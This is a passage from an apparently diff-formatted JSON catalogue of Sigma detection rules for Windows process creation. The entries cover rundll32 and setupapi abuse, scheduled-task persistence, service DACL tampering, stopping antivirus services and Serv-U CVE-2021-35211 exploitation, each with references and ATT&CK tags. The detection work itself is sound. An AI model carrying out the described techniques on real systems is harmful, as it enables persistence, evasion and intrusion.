INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.", - "meta": { - "author": "Konstantin Grishchenko, oscd.community", - "creation_date": "2020/10/07", - "falsepositive": [ - "Scripts and administrative tools that use INF files for driver installation with setupapi.dll" - ], - "filename": "proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20", - "https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf", - "https://lolbas-project.github.io/lolbas/Libraries/Setupapi/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml", - "https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "285b85b1-a555-4095-8652-a8a4106af63f", - "value": "Suspicious Rundll32 Setupapi.dll Activity" - }, - { - "description": "Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way", - "meta": { - "author": "elhoim, CD_ROM_", - "creation_date": "2022/04/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_rundll32_spawn_explorer.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_spawn_explorer.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "caa06de8-fdef-4c91-826a-7f9e163eef4b", - "value": "RunDLL32 Spawning Explorer" - }, - { - "description": "Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/03/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_rundll32_sys.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_sys.yml", - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "731231b9-0b5d-4219-94dd-abb6959aa7ea", - "value": "Suspicious Rundll32 Activity Invoking Sys File" - }, - { - "description": "Detects a suspicious call to the user32.dll function that locks the user workstation", - "meta": { - "author": "frack113", - "creation_date": "2022/06/04", - "falsepositive": [ - "Scripts or links on the user desktop used to lock the workstation instead of Windows+L or the menu option" - ], - "filename": "proc_creation_win_susp_rundll32_user32_dll.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/2aef9c63-f944-4763-b3ef-81eee209d128/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_user32_dll.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "3b5b0213-0460-4e3f-8937-3abf98ff7dcc", - "value": "Suspicious Workstation Locking via Rundll32" - }, - { - "description": "This rule detects the execution of Run Once task as configured in the registry", - "meta": { - "author": "Avneet Singh @v3t0_, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_runonce_execution.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runonce_execution.yml", - "https://twitter.com/pabraeken/status/990717080805789697" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "198effb6-6c98-4d0c-9ea3-451fa143c45c", - "value": "Run Once Task Execution as Configured in Registry" - }, - { - "description": "Detects execution of powershell scripts via Runscripthelper.exe", - "meta": { - "author": "Victor Sergeev, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_runscripthelper.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runscripthelper.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "eca49c87-8a75-4f13-9c73-a5a29e845f03", - "value": "Suspicious Runscripthelper.exe" - }, - { - "description": "Detects suspicious process run from unusual locations", - "meta": { - "author": "juju4, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2019/01/16", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_run_locations.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://car.mitre.org/wiki/CAR-2013-05-002", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_run_locations.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "car.2013-05-002" - ] - }, - "uuid": "15b75071-74cc-47e0-b4c6-b43744a62a2b", - "value": "Suspicious Process Start Locations" - }, - { - "description": "Detects execution of Remote Utilities RAT (RURAT) from an unsual location (outisde of 'C:\\Program Files')", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_rurat_exec_location.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rurat_exec_location.yml", - "https://redcanary.com/blog/misbehaving-rats/" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "e01fa958-6893-41d4-ae03-182477c5e77d", - "value": "Execution of Remote Utilities RAT (RURAT) From Unusual Location" - }, - { - "description": "Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location\nAttackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on\nInstead they modify the task after creation to include their malicious payload\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_schtasks_change.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_change.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", - "Internal Research" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ] - }, - "uuid": "1c0e41cd-21bb-4433-9acc-4a2cd6367b9b", - "value": "Suspicious Modification Of Scheduled Tasks" - }, - { - "description": "Detects when adversaries stop services or processes by disabling their respective schdueled tasks in order to conduct data destructive activities", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_schtasks_delete.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete.yml", - "Internal Research" - ], - "tags": [ - "attack.impact", - "attack.t1489" - ] - }, - "uuid": "dbc1f800-0fe0-4bc0-9c66-292c2abe3f78", - "value": "Delete Important Scheduled Task" - }, - { - "description": "Detects the usage of schtasks with the delete flag and the asterisk symbole to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_schtasks_delete_all.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete_all.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-delete" - ], - "tags": [ - "attack.impact", - "attack.t1489" - ] - }, - "uuid": "220457c1-1c9f-4c2e-afe6-9598926222c1", - "value": "Delete All Scheduled Tasks" - }, - { - "description": "Detects when adversaries stop services or processes by disabling their respective schdueled tasks in order to conduct data destructive activities", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2021/12/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_schtasks_disable.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/MichalKoczwara/status/1553634816016498688", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_disable.yml", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/" - ], - "tags": [ - "attack.impact", - "attack.t1489" - ] - }, - "uuid": "9ac94dc8-9042-493c-ba45-3b5e7c86b980", - "value": "Disable Important Scheduled Task" - }, - { - "description": "Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/21", - "falsepositive": [ - "Benign scheduled tasks creations or executions that happen often during software installations", - "Software that uses the AppData folder and scheduled tasks to update the software in the AppData folders" - ], - "filename": "proc_creation_win_susp_schtasks_env_folder.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_env_folder.yml", - "https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", - "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ] - }, - "uuid": "81325ce1-be01-4250-944f-b4789644556f", - "value": "Suspicious Schtasks From Env Var Folder" - }, - { - "description": "Detects scheduled task creations that have suspicious action command and folder combinations", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/04/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_schtasks_folder_combos.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_folder_combos.yml", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ] - }, - "uuid": "8a8379b8-780b-4dbf-b1e9-31c8d112fefb", - "value": "Schtasks From Suspicious Folders" - }, - { - "description": "Detects suspicious scheduled task creations from a parent stored in a temporary folder", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/23", - "falsepositive": [ - "Software installers that run from temporary folders and also install scheduled tasks" - ], - "filename": "proc_creation_win_susp_schtasks_parent.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/649e7b46-9bec-4d05-98a5-dfa9a13eaae5/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_parent.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ] - }, - "uuid": "9494479d-d994-40bf-a8b1-eea890237021", - "value": "Suspicious Add Scheduled Task Parent" - }, - { - "description": "Detects suspicious scheduled task creations with commands that are uncommon", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/23", - "falsepositive": [ - "Software installers that run from temporary folders and also install scheduled tasks" - ], - "filename": "proc_creation_win_susp_schtasks_pattern.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/512c1352-6380-4436-b27d-bb62f0c020d6/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_pattern.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ] - }, - "uuid": "f2c64357-b1d2-41b7-849f-34d2682c0fad", - "value": "Suspicious Add Scheduled Command Pattern" - }, - { - "description": "Detects scheduled task creations or modification on a suspicious schedule type", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/09", - "falsepositive": [ - "Legitmate processes that run at logon. Filter according to your environment" - ], - "filename": "proc_creation_win_susp_schtasks_schedule_type.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ] - }, - "uuid": "24c8392b-aa3c-46b7-a545-43f71657fe98", - "value": "Suspicious Schtasks Schedule Types" - }, - { - "description": "Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/31", - "falsepositive": [ - "Some installers were seen using this method of creation unfortunately. Filter them in your environment" - ], - "filename": "proc_creation_win_susp_schtasks_schedule_type_system.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type_system.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ] - }, - "uuid": "7a02e22e-b885-4404-b38b-1ddc7e65258a", - "value": "Suspicious Schtasks Schedule Type With High Privileges" - }, - { - "description": "schtasks.exe create task from user AppData\\Local\\Temp", - "meta": { - "author": "frack113", - "creation_date": "2021/11/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_schtasks_user_temp.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "malware analyse https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_user_temp.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ] - }, - "uuid": "43f487f0-755f-4c2a-bce7-d6d2eec2fcf8", - "value": "Suspicious Add Scheduled Task From User AppData Temp" - }, - { - "description": "Detects the creation of scheduled tasks in user session", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/01/16", - "falsepositive": [ - "Administrative activity", - "Software installation" - ], - "filename": "proc_creation_win_susp_schtask_creation.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1053.005", - "attack.s0111", - "car.2013-08-001" - ] - }, - "uuid": "92626ddd-662c-49e3-ac59-f6535f12d189", - "value": "Scheduled Task Creation" - }, - { - "description": "Detects the creation of scheduled tasks that involves a temporary folder and runs only once", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/03/11", - "falsepositive": [ - "Administrative activity", - "Software installation" - ], - "filename": "proc_creation_win_susp_schtask_creation_temp_folder.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation_temp_folder.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1053.005" - ] - }, - "uuid": "39019a4e-317f-4ce3-ae63-309a8c6b53c5", - "value": "Suspicious Scheduled Task Creation Involving Temp Folder" - }, - { - "description": "Detects ScreenConnect program starts that establish a remote access to that system (not meeting, not remote support)", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/02/11", - "falsepositive": [ - "Legitimate use by administrative staff" - ], - "filename": "proc_creation_win_susp_screenconnect_access.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screenconnect_access.yml", - "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies" - ], - "tags": [ - "attack.initial_access", - "attack.t1133" - ] - }, - "uuid": "75bfe6e6-cd8e-429e-91d3-03921e1d7962", - "value": "ScreenConnect Remote Access" - }, - { - "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", - "meta": { - "author": "frack113", - "creation_date": "2021/08/19", - "falsepositive": [ - "GPO" - ], - "filename": "proc_creation_win_susp_screensaver_reg.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screensaver_reg.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1546.002" - ] - }, - "uuid": "0fc35fc3-efe6-4898-8a37-0b233339524f", - "value": "Suspicious ScreenSave Change by Reg.exe" - }, - { - "description": "Detects suspicious file execution by wscript and cscript", - "meta": { - "author": "Michael Haag", - "creation_date": "2019/01/16", - "falsepositive": [ - "Will need to be tuned. I recommend adding the user profile path in CommandLine if it is getting too noisy." - ], - "filename": "proc_creation_win_susp_script_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ] - }, - "uuid": "1e33157c-53b1-41ad-bbcc-780b80b58288", - "value": "WSF/JSE/JS/VBA/VBE File Execution" - }, - { - "description": "Detects a suspicious script executions in temporary folders or folders accessible by environment variables", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_script_exec_from_env_folder.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml", - "https://www.virustotal.com/gui/file/91ba814a86ddedc7a9d546e26f912c541205b47a853d227756ab1334ade92c3f" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "1228c958-e64e-4e71-92ad-7d429f4138ba", - "value": "Script Interpreter Execution From Suspicious Folder" - }, - { - "description": "Detects a suspicious script executions from temporary folder", - "meta": { - "author": "Florian Roth, Max Altgelt, Tim Shelton", - "creation_date": "2021/07/14", - "falsepositive": [ - "Administrative scripts" - ], - "filename": "proc_creation_win_susp_script_exec_from_temp.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_temp.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "a6a39bdb-935c-4f0a-ab77-35f4bbf44d33", - "value": "Suspicious Script Execution From Temp Folder" - }, - { - "description": "Detects suspicious DACL modifications that can be used to hide services or make them unstopable", - "meta": { - "author": "Jonhnathan Ribeiro, oscd.community", - "creation_date": "2020/10/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_service_dacl_modification.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification.yml", - "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings" - ], - "tags": [ - "attack.persistence", - "attack.t1543.003" - ] - }, - "uuid": "99cf1e02-00fb-4c0d-8375-563f978dfd37", - "value": "Suspicious Service DACL Modification" - }, - { - "description": "Detects suspicious DACL modifications via the \"Set-Service\" cmdlet using the \"SecurityDescriptorSddl\" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_service_dacl_modification_set_service.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification_set_service.yml", - "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings" - ], - "tags": [ - "attack.persistence", - "attack.t1543.003" - ] - }, - "uuid": "a95b9b42-1308-4735-a1af-abb1c5e6f5ac", - "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet" - }, - { - "description": "Detects a service binary running in a suspicious directory", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/03/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_service_dir.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml", - "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "883faa95-175a-4e22-8181-e5761aeb373c", - "value": "Suspicious Service Binary Directory" - }, - { - "description": "Detects usage of 'Stop-Service' or 'Remove-Service' powershell cmdlet to disable AV services.\nAdversaries may disable security tools to avoid possible detection of their tools and activities by stopping antivirus service\n", - "meta": { - "author": "frack113", - "creation_date": "2021/07/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_service_modification.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_modification.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "6783aa9e-0dc3-49d4-a94a-8b39c5fd700b", - "value": "Stop Or Remove Antivirus Service" - }, - { - "description": "Detects service path modification via the \"sc\" binary to a suspicious command or path", - "meta": { - "author": "Victor Sergeev, oscd.community, Nasreddine Bencherchali (update)", - "creation_date": "2019/10/21", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_service_path_modification.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_path_modification.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "138d3531-8793-4f50-a2cd-f291b2863d78", - "value": "Suspicious Service Path Modification" - }, - { - "description": "Detects the usage of one of the the commands to stop services such as 'net', 'sc'...etc in order to stop critical or important windows services such as AV, Backup...etc. As seen being used in some ransomware scripts", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/01", - "falsepositive": [ - "Administrator or tools shutting down the services due to upgrade or removal purposes. If you experience some FP please consider adding filters to the parent process launching this command and not removing the entry" - ], - "filename": "proc_creation_win_susp_service_stop.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_stop.yml", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1489" - ] - }, - "uuid": "ce72ef99-22f1-43d4-8695-419dcb5d9330", - "value": "Suspicious Stop Windows Service" - }, - { - "description": "Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/14", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml", - "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001", - "cve.2021.35211" - ] - }, - "uuid": "75578840-9526-4b2a-9462-af469a45e767", - "value": "Serv-U Exploitation CVE-2021-35211 by DEV-0322" - }, - { - "description": "Detects a suspicious process pattern which could be a sign of an exploited Serv-U service", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/14", - "falsepositive": [ - "Legitimate uses in which users or programs use the SSH service of Serv-U for remote command execution" - ], - "filename": "proc_creation_win_susp_servu_process_pattern.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_process_pattern.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555", - "cve.2021.35211" - ] - }, - "uuid": "58f4ea09-0fc2-4520-ba18-b85c540b0eaf", - "value": "Suspicious Serv-U Process Pattern" - }, - { - "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", - "meta": { - "author": "frack113", - "creation_date": "2021/12/10", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_sharpview.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sharpview.yml", - "https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1", - "https://github.com/tevora-threat/SharpView/" - ], - "tags": [ - "attack.discovery", - "attack.t1049", - "attack.t1069.002", - "attack.t1482", - "attack.t1135", - "attack.t1033" - ] - }, - "uuid": "b2317cfa-4a47-4ead-b3ff-297438c0bc2d", - "value": "Suspicious Execution of SharpView Aka PowerView" - }, - { - "description": "Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_shellexec_rundll_usage.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/raspberry-robin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shellexec_rundll_usage.yml", - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "d87bd452-6da1-456e-8155-7dc988157b7d", - "value": "Suspicious Usage Of ShellExec_RunDLL" - }, - { - "description": "Detects suspicious shell spawned from Java host process (e.g. log4j exploitation)", - "meta": { - "author": "Andreas Hunkeler (@Karneades), Florian Roth", - "creation_date": "2021/12/17", - "falsepositive": [ - "Legitimate calls to system binaries", - "Company specific internal usage" - ], - "filename": 